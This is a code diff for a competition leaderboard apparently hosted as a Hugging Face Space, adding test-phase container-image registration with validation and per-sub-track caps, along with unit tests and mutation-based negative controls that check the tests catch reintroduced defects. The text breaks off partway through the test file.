 .lb-th-proxy{color:var(--lb-faint)}
@@ -328,6 +391,8 @@ tr.lb-top .lb-rank{color:var(--lb-gold)}
 .lb-selfrep{display:inline-block;font-family:var(--lb-sans);font-size:.6rem;font-weight:600;text-transform:none;letter-spacing:0;padding:1px 5px;border-radius:6px;vertical-align:middle;background:#fff8e8;color:#8a6d00;border:1px solid #f0c36d}
 th .lb-lc{text-transform:none}
 .lb-empty{padding:1.3rem;color:var(--lb-faint);font-style:italic;text-align:center;font-size:.85rem}
+/* macOS overlay scrollbars are invisible until you scroll, so say it in text. */
+.lb-more{padding:.4rem .55rem;border-top:1px solid var(--lb-border);font-size:.72rem;color:var(--lb-faint);font-family:var(--lb-mono)}
 .lb-note{font-size:.78rem;color:var(--lb-faint);margin-top:.55rem}
 .lb-note b{color:var(--lb-sec);font-weight:600}
 """

submit.py

@@ -200,6 +200,11 @@ def validate_and_submit(
     token: str,
 ) -> tuple[bool, str]:
     """Full submit path. Returns (ok, message_for_user)."""
+    # First, and before anything is read or written. A closed phase is not a
+    # validation failure, so it is not reported through validate_only(): a team
+    # whose file is fine should not be told to fix it.
+    if not config.VAL_PHASE_OPEN:
+        return False, config.VAL_CLOSED_NOTICE
     if not team_name.strip():
         return False, "Team name is required."
     if not token:

submit_test.py

@@ -0,0 +1,338 @@
+"""Test-phase submission handling: register a container image, not predictions.
+
+Shortlisted teams push an image to their own ECR repository and register its
+DIGEST here. The organizers' evaluation worker, which runs outside this Space, polls the
+requests dataset, pulls that exact digest, runs it against the held-out split on
+the cluster and publishes the score. Nothing in this module touches the image or
+the gold; it writes a request.json and stops.
+
+Two things this file is responsible for, both of which exist because the worker
+lives in a different repository and cannot import this one:
+
+1. The request it writes must be one the worker's parse_request() accepts. The
+   field names below are that contract. tests/test_submit_test.py pins the shape.
+2. The validation it applies must not be looser OR tighter than the worker's. A
+   reference this accepts and the worker rejects strands the team with a
+   submission that can never be scored; one this rejects and the worker would
+   have taken turns the board into the stricter gate by accident. The regexes and
+   the cap live in config.py and are quoted from the worker.
+
+The per-track cap is enforced on both sides on purpose. This side gives the team
+an immediate, readable refusal; the worker's side is the one that actually
+protects the GPU budget, because the board is a client and a client is not a
+gate.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import random
+import re
+import string
+from datetime import datetime, timezone
+
+from huggingface_hub import HfApi, hf_hub_download
+
+import config
+
+_ECR_REF = re.compile(config.ECR_REF_RE)
+_DIGEST = re.compile(config.DIGEST_RE)
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+
+def _new_sid() -> str:
+    stamp = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H-%M-%S")
+    suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
+    return f"{stamp}_{suffix}"
+
+
+def parse_image_ref(ref: str, digest: str = "") -> tuple[bool, str]:
+    """Validate one image reference. Returns (ok, message).
+
+    Takes either form, because they are equally pinned on this setup and a tag
+    is far easier to type than 64 hex characters:
+
+        <repo>:<tag>
+        <repo>@sha256:<64 hex>
+
+    A tag is safe here for two specific reasons, not in general. Participant
+    repositories are created with --image-tag-mutability IMMUTABLE, so a tag
+    cannot be overwritten, and the per-team policy grants no ecr:Delete*, so a
+    tag cannot be freed and re-pushed either. Take either away and this must go
+    back to digests only.
+
+    `digest` is the legacy second field, still accepted so an older client or a
+    participant following older instructions is not broken; it may only be given
+    when `ref` carries no tag or digest of its own.
+
+    Pure. The message says what is wrong with the value rather than quoting a
+    regex at the participant.
+    """
+    ref = (ref or "").strip()
+    digest = (digest or "").strip()
+    if not ref:
+        return False, "Image reference is required."
+
+    repo, sep, suffix = _split_image_ref(ref)
+
+    if sep == "@":
+        if digest and digest != suffix:
+            return False, (
+                "Two different digests given: one on the reference and one in the "
+                "digest field. Give the reference only."
+            )
+        pinned, kind = suffix, "digest"
+    elif sep == ":":
+        if not config.TEST_ACCEPT_IMAGE_TAG:
+            return False, (
+                f"Give the digest rather than the tag `{suffix}` for now. Paste "
+                "the reference as `<your-repo>@sha256:<64 hex>`, exactly as "
+                "`docker push` printed it."
+            )
+        if digest:
+            return False, (
+                "Give either a tag or a digest, not both. The reference already "
+                f"carries the tag `{suffix}`."
+            )
+        pinned, kind = suffix, "tag"
+    else:
+        # No tag and no digest on the reference: the digest field must supply it.
+        if not digest:
+            return False, (
+                "Add the tag you pushed, or the digest. "
+                "Example: `<your-repo>:v1` or `<your-repo>@sha256:<64 hex>`."
+            )
+        pinned, kind = digest, "digest"
+
+    if not _ECR_REF.match(repo):
+        return False, (
+            f"`{repo}` is not an ECR repository URI. It must look like "
+            "`<12-digit-account>.dkr.ecr.<region>.amazonaws.com/<repository>`, all "
+            "lower case. Use the URI issued to your team in Step 1."
+        )
+    if kind == "digest":
+        if not _DIGEST.match(pinned):
+            return False, (
+                f"`{pinned}` is not a sha256 digest. It must read `sha256:` followed "
+                "by 64 lower-case hex characters, exactly as `docker push` printed it."
+            )
+    elif not re.match(config.TAG_RE, pinned):
+        return False, (
+            f"`{pinned}` is not a usable image tag. Tags are up to 128 characters "
+            "of letters, digits, dot, dash and underscore, and cannot start with a "
+            "dot or dash."
+        )
+    return True, ""
+
+
+def _split_image_ref(ref: str) -> tuple[str, str, str]:
+    """(repository, separator, suffix) for `repo`, `repo:tag` or `repo@digest`.
+
+    Split on the LAST separator, and only after the last `/`: a registry host
+    may carry a port (`host:5000/repo`) and the repository path may not, so
+    splitting on the first colon would tear the host apart. Returns an empty
+    separator when the reference is a bare repository.
+    """
+    if "@" in ref:
+        repo, _, suffix = ref.partition("@")
+        return repo, "@", suffix
+    head, slash, tail = ref.rpartition("/")
+    if slash and ":" in tail:
+        name, _, tag = tail.partition(":")
+        return f"{head}/{name}", ":", tag
+    return ref, "", ""
+
+
+def count_test_submissions(
+    api: HfApi, hf_user: str, track: str, division: str
+) -> int:
+    """How many of this team's test-phase slots for this SUB-TRACK are held.
+
+    A sub-track is (track, division). The cap is per sub-track, matching the
+    published rules: a team entering both ConvQA Small and ConvQA Large gets
+    three submissions in each, not three across both. Counting on track alone
+    silently halves the allowance for any team that enters both divisions.
+
+    Counts REQUEST records rather than published results, so a submission that is
+    still PENDING counts too: a team cannot queue four and have them all run
+    because none had finished when the fourth was registered.
+
+    Which states hold a slot is config.TEST_SLOT_STATUSES, kept identical to the
+    worker's count_prior_submissions(). An unreadable request is skipped rather
+    than counted, which is the lenient direction, on the grounds that the worker
+    enforces the same cap and a board that refuses a legitimate submission over a
+    file it could not parse is the worse failure.
+    """
+    prefix = f"requests/{config.TEST_PHASE}/{track}/{division}/"
+    try:
+        files = api.list_repo_files(config.REQUESTS_REPO, repo_type="dataset")
+    except Exception:
+        # Cannot enumerate: report 0 and let the worker be the gate. Failing open
+        # here only risks a fourth request being registered and then refused by
+        # the worker; failing closed would block every submission on a transient
+        # HF error.
+        return 0
+
+    count = 0
+    for f in files:
+        if not (f.startswith(prefix) and f.endswith("/request.json")):
+            continue
+        try:
+            local = hf_hub_download(
+                config.REQUESTS_REPO, f, repo_type="dataset", token=api.token
+            )
+            with open(local, encoding="utf-8") as fh:
+                obj = json.load(fh)
+        except Exception:
+            continue
+        if obj.get("hf_user") != hf_user:
+            continue
+        if obj.get("status", "PENDING") in config.TEST_SLOT_STATUSES:
+            count += 1
+    return count
+
+
+def validate_only(
+    *,
+    track: str,
+    division: str,
+    total_params: int,
+    active_params: int,
+    image_ref: str,
+    image_digest: str,
+) -> tuple[bool, str]:
+    """Every format and eligibility check except the cap and the upload.
+
+    Shared by the real submit path and the tab's "Validate (no submit)" button so
+    the dry run is the same code a real submit runs. Pure: no network.
+    """
+    if track not in config.TEST_TRACKS:
+        # Not "unknown": proactive is a real track, it just has no test gold
+        # staged, so say which tracks the test phase can score rather than
+        # implying a typo.
+        return False, (
+            f"The test phase cannot score '{track}'. Open tracks: "
+            + ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
+            + "."
+        )
+    if division not in config.DIVISIONS:
+        return False, f"Unknown division: {division}"
+
+    declared_div = config.division_for_params(int(total_params))
+    if declared_div is None:
+        return False, f"total_params={total_params} must be a positive parameter count."
+    if declared_div != division:
+        return False, (
+            f"total_params={total_params / 1e9:.2f}B falls in '{declared_div}' "
+            f"but you selected '{division}'."
+        )
+    if not (0 < int(active_params) <= int(total_params)):
+        return False, "active_params must be > 0 and <= total_params."
+
+    ok, why = parse_image_ref(image_ref, image_digest)
+    if not ok:
+        return False, why
+
+    return True, (
+        f"Format valid: {config.TRACK_LABELS[track]} / {division}, image pinned by "
+        f"digest. Keep the image under {config.TEST_IMAGE_ADVERTISED_GB} GB "
+        f"compressed; contact the organizers first if your model needs more."
+    )
+
+
+def validate_and_submit(
+    *,
+    hf_user: str,
+    track: str,
+    division: str,
+    team_name: str,
+    model_name: str,
+    license_str: str,
+    open_weight: bool,
+    total_params: int,
+    active_params: int,
+    image_ref: str,
+    image_digest: str,
+    token: str,
+) -> tuple[bool, str]:
+    """Full test-phase registration path. Returns (ok, message_for_user)."""
+    if not config.TEST_PHASE_OPEN:
+        return False, "The test phase is not open yet."
+    if not team_name.strip():
+        return False, "Team name is required."
+    if not token:
+        return False, "Server is missing its write token; contact the organizers."
+
+    ok, why = validate_only(
+        track=track,
+        division=division,
+        total_params=int(total_params),
+        active_params=int(active_params),
+        image_ref=image_ref,
+        image_digest=image_digest,
+    )
+    if not ok:
+        return False, why
+
+    api = HfApi(token=token)
+
+    held = count_test_submissions(api, hf_user, track, division)
+    if held >= config.MAX_TEST_SUBMISSIONS_PER_TRACK:
+        return False, (
+            f"Submission limit reached: {config.MAX_TEST_SUBMISSIONS_PER_TRACK} per "
+            f"team per sub-track for the test phase. {hf_user} already has {held} "
+            f"on {config.TRACK_LABELS[track]} / {division} (queued and completed "
+            f"submissions both count; ones we refused before running do not)."
+        )
+
+    sid = _new_sid()
+    base = f"requests/{config.TEST_PHASE}/{track}/{division}/{sid}"
+    # These field names are the contract with the worker's parse_request().
+    request = {
+        "submission_id": sid,
+        "phase": config.TEST_PHASE,
+        "track": track,
+        "division": division,
+        "team_name": team_name.strip(),
+        "hf_user": hf_user,
+        "model_name": model_name.strip(),
+        "license": license_str.strip(),
+        "open_weight": bool(open_weight),
+        "total_params": int(total_params),
+        "active_params": int(active_params),
+        # Pinned by digest, never by tag: a tag can be repointed at a different
+        # image after we record it, and immutable tags are belt-and-braces on top
+        # of this rather than a substitute for it.
+        "image": {
+            "ref": image_ref.strip(),
+            "digest": image_digest.strip(),
+        },
+        "created_at": _now_iso(),
+        "status": "PENDING",
+    }
+
+    try:
+        api.upload_file(
+            path_or_fileobj=io.BytesIO(json.dumps(request, indent=2).encode()),
+            path_in_repo=f"{base}/request.json",
+            repo_id=config.REQUESTS_REPO,
+            repo_type="dataset",
+            commit_message=f"test submit {sid} ({track}/{division}) by {hf_user}",
+        )
+    except Exception as e:
+        # Never surface the raw exception on a public UI; it can carry repo paths.
+        print(f"[submit_test] upload failed for {sid}: {e!r}")
+        return False, "Upload failed — please retry; contact the organizers if it persists."
+
+    remaining = config.MAX_TEST_SUBMISSIONS_PER_TRACK - held - 1
+    return True, (
+        f"✅ Registered as `{sid}` ({config.TRACK_LABELS[track]} / {division}). "
+        f"Status PENDING — the organizers will pull your image by digest, run it on "
+        f"the held-out test split and publish the score to the leaderboard. "
+        f"{remaining} of {config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions left on "
+        f"this sub-track."
+    )

tests/controls_register_test.py

@@ -0,0 +1,253 @@
+#!/usr/bin/env python3
+"""Negative controls for tests/test_register_test.py.
+
+Each control re-introduces one defect the suite is supposed to catch, runs the
+suite against the mutated source, and records WHICH tests failed and WHY. A
+control that PASSES is the finding: the test it targets is vacuous.
+
+Every mutation asserts that the text actually changed and that the result still
+parses, so a refactor cannot silently turn a control into a no-op that reads
+green. The original file is restored from an in-memory copy in a finally block.
+
+    python3 tests/controls_register_test.py
+"""
+
+from __future__ import annotations
+
+import ast
+import os
+import re
+import subprocess
+import sys
+
+HERE = os.path.dirname(os.path.abspath(__file__))
+REPO = os.path.dirname(HERE)
+TARGET = os.path.join(REPO, "register_test.py")
+SUITE = os.path.join(HERE, "test_register_test.py")
+
+
+def mutate_disclose_without_recording(src: str) -> str:
+    """Remove the refuse-on-ledger-failure guard: disclose even if unlogged."""
+    old = """    except Exception as e:
+        # The ledger is how we know a key was handed out."""
+    new = """    except Exception as e:  # noqa: F841
+        pass
+    if False:
+        # The ledger is how we know a key was handed out."""
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_drop_the_pairing_check(src: str) -> str:
+    """Admit anyone signed in whose typed team is on the shortlist."""
+    old = "    if (hf_user, team) not in pairs:"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_put_the_secret_in_the_ledger(src: str) -> str:
+    """Write the secret access key into the audit row."""
+    old = '        "access_key_id": cred.get("access_key_id"),'
+    new = (
+        '        "access_key_id": cred.get("access_key_id"),\n'
+        '        "secret_access_key": cred.get("secret_access_key"),'
+    )
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_validate_after_the_network_reads(src: str) -> str:
+    """Move every form-level check below the dataset reads.
+
+    SLICED between two stable markers rather than matching a hardcoded block.
+    Re-anchored twice already (parse_email, then the model-name check), and each
+    time the hardcoded version asserted instead of testing anything. The markers
+    are the start of the first form check and the `try:` that opens the network
+    section; anything added between them travels with the block automatically.
+    """
+    head = "    roster, why = parse_members(members)"
+    tail = "    try:\n        shortlist = load_shortlist(api)"
+    i = src.index(head)
+    j = src.index(tail)
+    block = src[i:j]
+    assert "parse_total_params" in block, "sliced block is not the validation block"
+    assert "parse_poc" in block, "sliced block is missing the roster checks"
+    out = src[:i] + src[j:]
+    anchor = "    ok, why = check(hf_user, team_name, track, division, pairs, shortlist)"
+    assert anchor in out
+    return out.replace(anchor, block + anchor, 1)
+
+
+def mutate_accept_a_zero_declaration(src: str) -> str:
+    """Let a declared size of zero through into the ledger."""
+    old = "    if billions <= 0:"
+    new = "    if billions < 0:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_ignore_the_subtrack_seat(src: str) -> str:
+    """Let any shortlisted team register any sub-track."""
+    old = "    if sub not in shortlist[team]:"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_drop_the_division_consistency_check(src: str) -> str:
+    """Accept a 7B model registered as Small."""
+    old = "    if actual != division:"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_accept_any_email(src: str) -> str:
+    """Stop validating the contact address."""
+    old = "    if not _EMAIL_RE.match(email):"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_drop_the_model_name_requirement(src: str) -> str:
+    """Accept a registration with no model name."""
+    old = "    if not model:"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_never_flag_a_size_discrepancy(src: str) -> str:
+    """Stop comparing the declared size against the validation declaration."""
+    old = "    if bigger < smaller * factor:"
+    new = "    if True:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_accept_a_poc_off_the_roster(src: str) -> str:
+    """Let the point of contact be anyone at all."""
+    old = "    if addr.lower() not in known:"
+    new = "    if False:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+def mutate_accept_an_empty_roster(src: str) -> str:
+    """Register a team with no members listed."""
+    old = "    if not lines:"
+    new = "    if False and not lines:"
+    assert old in src
+    return src.replace(old, new, 1)
+
+
+CONTROLS = [
+    ("discloses a credential it failed to record", mutate_disclose_without_recording),
+    ("admits an account that never used that team name", mutate_drop_the_pairing_check),
+    ("writes the secret access key into the audit ledger", mutate_put_the_secret_in_the_ledger),
+    ("reads the datasets before validating the form", mutate_validate_after_the_network_reads),
+    ("accepts a declared size of zero parameters", mutate_accept_a_zero_declaration),
+    ("lets a team register a sub-track it has no seat in", mutate_ignore_the_subtrack_seat),
+    ("accepts a model in the wrong division", mutate_drop_the_division_consistency_check),
+    ("accepts any string as a contact email", mutate_accept_any_email),
+    ("accepts a registration with no model name", mutate_drop_the_model_name_requirement),
+    ("never flags a size discrepancy", mutate_never_flag_a_size_discrepancy),
+    ("accepts a point of contact who is not on the team", mutate_accept_a_poc_off_the_roster),
+    ("accepts a team with no members listed", mutate_accept_an_empty_roster),
+]
+
+_BLOCK = re.compile(r"^(?:FAIL|ERROR): (\S+) \(([^)]+)\)", re.M)
+
+
+def failures_with_reasons(output: str) -> list[tuple[str, str]]:
+    """(test name, first line of its traceback's reason), scoped per block.
+
+    Scoped to the FAIL:/ERROR: block it belongs to. Taking the first
+    exception-looking line anywhere in stdout picks up a test's own expected
+    exception logging and serves it as the reason.
+    """
+    out = []
+    marks = list(_BLOCK.finditer(output))
+    for i, m in enumerate(marks):
+        end = marks[i + 1].start() if i + 1 < len(marks) else len(output)
+        body = output[m.start():end]
+        reason = "(reason not captured)"
+        for line in body.splitlines():
+            s = line.strip()
+            if s.startswith(("AssertionError", "Assertion", "Error", "OSError")) or (
+                ":" in s and s.split(":")[0].endswith("Error")
+            ):
+                reason = s
+                break
+        out.append((m.group(1), reason))
+    return out
+
+
+def run_suite() -> tuple[int, str]:
+    p = subprocess.run(
+        [sys.executable, SUITE],
+        capture_output=True,
+        text=True,
+        cwd=REPO,
+    )
+    return p.returncode, p.stdout + p.stderr
+
+
+def main() -> int:
+    with open(TARGET, encoding="utf-8") as fh:
+        original = fh.read()
+
+    print(f"target: {TARGET}")
+    print(f"suite:  {SUITE}")
+    print(f"python: {sys.version.split()[0]}\n")
+
+    rc, out = run_suite()
+    baseline = out.strip().splitlines()[-1]
+    print(f"BASELINE (unmutated): rc={rc}  {baseline}")
+    if rc != 0:
+        print("baseline is not green; controls cannot be interpreted")
+        return 2
+
+    results = []
+    try:
+        for name, mutate in CONTROLS:
+            mutated = mutate(original)
+            assert mutated != original, f"{name}: mutation changed nothing"
+            ast.parse(mutated)  # a control that does not parse tests nothing
+            with open(TARGET, "w", encoding="utf-8") as fh:
+                fh.write(mutated)
+            rc, out = run_suite()
+            reasons = failures_with_reasons(out)
+            bit = rc != 0
+            results.append((name, bit, out.strip().splitlines()[-1], reasons))
+            print(f"\n=== CONTROL: {name}")
+            print(f"    bites: {'YES' if bit else 'NO  <-- FINDING: the test is vacuous'}")
+            print(f"    {out.strip().splitlines()[-1]}")
+            for test, reason in reasons:
+                print(f"    {test}")
+                print(f"        {reason}")
+    finally:
+        with open(TARGET, "w", encoding="utf-8") as fh:
+            fh.write(original)
+
+    rc, out = run_suite()
+    print(f"\nRESTORED: rc={rc}  {out.strip().splitlines()[-1]}")
+    restored_ok = rc == 0
+
+    real = sum(
+        1
+        for _, bit, _, reasons in results
+        if bit and any(r != "(reason not captured)" for _, r in reasons)
+    )
+    bitten = sum(1 for _, bit, _, _ in results if bit)
+    print(
+        f"\nSUMMARY: {bitten} of {len(results)} controls bit; "
+        f"{real} of {bitten} carry a real reason; restored green: {restored_ok}"
+    )
+    return 0 if bitten == len(results) and restored_ok else 1
+
+
+if __name__ == "__main__":
+    sys.exit(main())

tests/test_register_test.py

@@ -0,0 +1,697 @@
+#!/usr/bin/env python3
+"""Tests for test-phase registration: eligibility, declaration, disclosure.
+
+Hermetic: no network, no HF. The HfApi and hf_hub_download the module reaches
+for are injected as fakes.
+
+Two properties carry the whole module and are asserted hardest:
+
+1. A refusal must never contain any part of a credential. Every negative path is
+   checked against the fixture secret, not just the ones that look risky, so a
+   future edit that starts echoing state into an error message fails here.
+2. A disclosure must be recorded before it is rendered. If the ledger write
+   fails, nothing is shown; an unlogged disclosure is permanently unaccountable.
+
+    python3 tests/test_register_test.py
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+import tempfile
+import unittest
+from unittest import mock
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+
+import config  # noqa: E402
+import register_test as rt  # noqa: E402
+
+
+SECRET = "wJalrXUtnFEMI-FIXTURE-NOT-A-REAL-KEY-bPxRfiCY"
+KEY_ID = "AKIAIOSFODNN7EXAMPLE"  # AWS's own documentation example, on purpose.
+REPO_URI = "123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/team-a"
+
+CRED = {
+    "repo_uri": REPO_URI,
+    "access_key_id": KEY_ID,
+    "secret_access_key": SECRET,
+    "region": "us-east-2",
+}
+
+
+class FakeApi:
+    """Records uploads; serves canned result files."""
+
+    def __init__(self, results=None, fail_upload=False):
+        self.token = "fake-token"
+        self._results = results if results is not None else []
+        self.uploads = []
+        self.fail_upload = fail_upload
+
+    def list_repo_files(self, repo_id, repo_type=None):
+        return [f"results/{config.PHASE}/{i}.json" for i in range(len(self._results))]
+
+    def upload_file(self, **kw):
+        if self.fail_upload:
+            raise OSError("ledger unavailable")
+        self.uploads.append(kw)
+
+
+def _download_factory(tmpdir, api, shortlist, credentials):
+    """Stand-in for hf_hub_download: writes the requested JSON and returns a path."""
+
+    def _download(repo_id, filename, repo_type=None, token=None):
+        if filename == rt.SHORTLIST_PATH:
+            payload = shortlist
+        elif filename == rt.CREDENTIALS_PATH:
+            payload = credentials
+        else:
+            idx = int(os.path.basename(filename).split(".")[0])
+            payload = api._results[idx]
+        path = os.path.join(tmpdir, filename.replace("/", "_"))
+        with open(path, "w", encoding="utf-8") as fh:
+            json.dump(payload, fh)
+        return path
+
+    return _download
+
+
+class ParseTotalParamsTest(unittest.TestCase):
+    """The declaration is required, positive, and reported in the unit asked for."""
+
+    def test_a_plain_count_in_billions_becomes_whole_parameters(self):
+        self.assertEqual(rt.parse_total_params(7)[0], 7_000_000_000)
+        self.assertEqual(rt.parse_total_params("1.5")[0], 1_500_000_000)
+
+    def test_a_missing_count_is_refused_and_names_the_frozen_backbone(self):
+        params, why = rt.parse_total_params(None)
+        self.assertIsNone(params)
+        self.assertIn("frozen backbone", why)
+
+    def test_zero_is_refused_rather_than_stored(self):
+        # Several validation entries declared 0.00000B. A zero in the ledger is
+        # indistinguishable from never having been asked.
+        for value in (0, 0.0, "0"):
+            params, why = rt.parse_total_params(value)
+            self.assertIsNone(params, f"{value!r} should be refused")
+            self.assertIn("greater than zero", why)
+
+    def test_a_non_number_is_refused_without_raising(self):
+        params, why = rt.parse_total_params("seven billion")
+        self.assertIsNone(params)
+        self.assertIn("number", why)
+
+    def test_a_count_that_rounds_to_zero_parameters_is_refused(self):
+        params, why = rt.parse_total_params(1e-12)
+        self.assertIsNone(params)
+        self.assertIn("rounds to zero", why)
+
+    def test_the_floor_is_off_by_default_so_no_team_is_refused_on_size_today(self):
+        # Whether to apply a floor is an open organizer decision; the shipped
+        # default must not silently enforce one.
+        self.assertEqual(config.TEST_REGISTRATION_MIN_TOTAL_PARAMS, 0)
+        self.assertIsNotNone(rt.parse_total_params(0.0001)[0])
+
+    def test_setting_the_floor_is_the_whole_change(self):
+        # Pins the claim made in the config comment: one constant, no code edit.
+        with mock.patch.object(config, "TEST_REGISTRATION_MIN_TOTAL_PARAMS", 100_000_000):
+            params, why = rt.parse_total_params(0.001)  # 1M
+            self.assertIsNone(params)
+            self.assertIn("0.1B floor", why)
+            self.assertIsNotNone(rt.parse_total_params(0.5)[0])
+
+
+class ParseEmailTest(unittest.TestCase):
+    def test_a_plain_address_is_accepted_and_trimmed(self):
+        self.assertEqual(rt.parse_email("  team@example.com ")[0], "team@example.com")
+
+    def test_an_empty_address_is_refused(self):
+        addr, why = rt.parse_email("")
+        self.assertIsNone(addr)
+        self.assertIn("contact email", why)
+
+    def test_obvious_nonsense_is_refused(self):
+        for bad in ("nope", "a@b", "a b@example.com", "@example.com", "a@@b.com"):
+            with self.subTest(value=bad):
+                self.assertIsNone(rt.parse_email(bad)[0], f"{bad!r} should be refused")
+
+    def test_unusual_but_real_addresses_are_not_rejected(self):
+        # A strict regex that refuses a real address locks a shortlisted team
+        # out of the phase, which is worse than storing one that bounces.
+        for good in ("a+tag@example.co.uk", "first.last@sub.example.org",
+                     "x_y-z@example-domain.com"):
+            with self.subTest(value=good):
+                self.assertIsNotNone(rt.parse_email(good)[0], f"{good!r} is real")
+
+
+class CheckDivisionTest(unittest.TestCase):
+    """The declared size must match the division being entered."""
+
+    def test_a_small_model_in_small_and_a_large_in_large_pass(self):
+        self.assertTrue(rt.check_division(1_000_000_000, "small")[0])
+        self.assertTrue(rt.check_division(7_000_000_000, "large")[0])
+
+    def test_a_large_model_declared_as_small_is_refused_by_name(self):
+        ok, why = rt.check_division(7_000_000_000, "small")
+        self.assertFalse(ok)
+        self.assertIn("large", why)
+        self.assertIn("at most 2B", why)
+
+    def test_a_small_model_declared_as_large_is_refused(self):
+        ok, why = rt.check_division(1_000_000_000, "large")
+        self.assertFalse(ok)
+        self.assertIn("more than 2B", why)
+
+    def test_the_boundary_belongs_to_small(self):
+        # 2B exactly is Small; one parameter more is Large. Pinned because an
+        # off-by-one here silently moves a team between divisions.
+        self.assertTrue(rt.check_division(2_000_000_000, "small")[0])
+        self.assertTrue(rt.check_division(2_000_000_001, "large")[0])
+
+
+class SubtrackTest(unittest.TestCase):
+    def test_the_key_matches_what_the_shortlist_file_uses(self):
+        # load_shortlist() builds "track/division" from the report; if these two
+        # ever disagree, every seat lookup fails and nobody can register.
+        self.assertEqual("convqa/large", rt.subtrack("convqa", "large"))
+        report = {"subtracks": [{"track": "convqa", "division": "large",
+                                 "shortlist": [{"team_name": "Team A"}]}]}
+        with mock.patch.object(rt, "_read_json", return_value=report):
+            got = rt.load_shortlist(None)
+        self.assertIn(rt.subtrack("convqa", "large"), got["team a"])
+
+
+class ParseMembersTest(unittest.TestCase):
+    def test_one_member_per_line(self):
+        m, why = rt.parse_members("Ada Lovelace, ada@example.com\nAlan Turing, alan@example.org")
+        self.assertEqual(2, len(m), why)
+        self.assertEqual({"name": "Ada Lovelace", "email": "ada@example.com"}, m[0])
+
+    def test_the_angle_bracket_form_is_accepted(self):
+        m, _ = rt.parse_members("Ada Lovelace <ada@example.com>")
+        self.assertEqual([{"name": "Ada Lovelace", "email": "ada@example.com"}], m)
+
+    def test_blank_lines_and_padding_are_ignored(self):
+        m, _ = rt.parse_members("\n  Ada, ada@example.com  \n\n")
+        self.assertEqual(1, len(m))
+
+    def test_an_empty_roster_is_refused(self):
+        m, why = rt.parse_members("   \n  ")
+        self.assertIsNone(m)
+        self.assertIn("one per line", why)
+
+    def test_a_line_that_is_not_name_comma_email_names_its_line_number(self):
+        m, why = rt.parse_members("Ada, ada@example.com\njust-a-name")
+        self.assertIsNone(m)
+        self.assertIn("Line 2", why)
+
+    def test_a_bad_address_names_its_line_number(self):
+        m, why = rt.parse_members("Ada, ada@example.com\nAlan, nope")
+        self.assertIsNone(m)
+        self.assertIn("Line 2", why)
+
+    def test_an_address_with_no_name_is_refused(self):
+        m, why = rt.parse_members(", ada@example.com")
+        self.assertIsNone(m)
+        self.assertIn("no name", why)
+
+    def test_the_same_address_twice_is_refused(self):
+        m, why = rt.parse_members("Ada, a@example.com\nAda2, A@Example.com")
+        self.assertIsNone(m)
+        self.assertIn("twice", why)
+
+    def test_an_absurd_roster_is_refused_rather_than_stored(self):
+        m, why = rt.parse_members("\n".join(
+            f"P{i}, p{i}@example.com" for i in range(rt.MAX_TEAM_MEMBERS + 1)))
+        self.assertIsNone(m)
+        self.assertIn("at most", why)
+
+
+class ParsePocTest(unittest.TestCase):
+    ROSTER = [{"name": "Ada", "email": "ada@example.com"},
+              {"name": "Alan", "email": "alan@example.org"}]
+
+    def test_the_record_ties_the_signed_in_account_to_the_person(self):
+        # The point: the account matched against the shortlist and the human we
+        # write to are the same entity, recorded together.
+        rec, why = rt.parse_poc("alan@example.org", self.ROSTER, "alice")
+        self.assertEqual(
+            {"hf_user": "alice", "name": "Alan", "email": "alan@example.org"},
+            rec, why,
+        )
+
+    def test_case_does_not_matter_and_the_listed_spelling_is_kept(self):
+        rec, _ = rt.parse_poc("ADA@Example.com", self.ROSTER, "alice")
+        self.assertEqual("ada@example.com", rec["email"])
+        self.assertEqual("Ada", rec["name"])
+
+    def test_someone_not_on_the_roster_is_refused_and_the_roster_is_shown(self):
+        # A point of contact who is not on the team is how a message reaches
+        # nobody, so this must refuse rather than store.
+        rec, why = rt.parse_poc("someone@else.com", self.ROSTER, "alice")
+        self.assertIsNone(rec)
+        self.assertIn("not one of the team members", why)
+        self.assertIn("ada@example.com", why)
+
+    def test_an_empty_poc_is_refused(self):
+        self.assertIsNone(rt.parse_poc("", self.ROSTER, "alice")[0])
+
+
+class SizeNoteTest(unittest.TestCase):
+    """Compares against the validation declaration. Never refuses."""
+
+    SEAT = {"model_name": "ValModel", "total_params": 7_000_000_000}
+
+    def test_the_same_size_says_nothing(self):
+        self.assertEqual("", rt.size_note(self.SEAT, 7_000_000_000))
+
+    def test_an_ordinary_change_of_model_says_nothing(self):
+        # A team is allowed to bring a different model, so 7B -> 13B is not
+        # remarkable and must not nag.
+        self.assertEqual("", rt.size_note(self.SEAT, 13_000_000_000))
+
+    def test_an_order_of_magnitude_smaller_is_flagged(self):
+        note = rt.size_note(self.SEAT, 7_000_000)  # 7M against 7B
+        self.assertIn("smaller", note)
+        self.assertIn("7B", note)
+
+    def test_an_order_of_magnitude_larger_is_flagged(self):
+        self.assertIn("larger", rt.size_note(self.SEAT, 700_000_000_000))
+
+    def test_a_seat_with_no_recorded_size_says_nothing(self):
+        # Hand-edited shortlists carry no seat detail; that must be silent
+        # rather than crash or invent a comparison.
+        self.assertEqual("", rt.size_note({}, 7_000_000_000))
+
+    def test_the_note_can_be_switched_off(self):
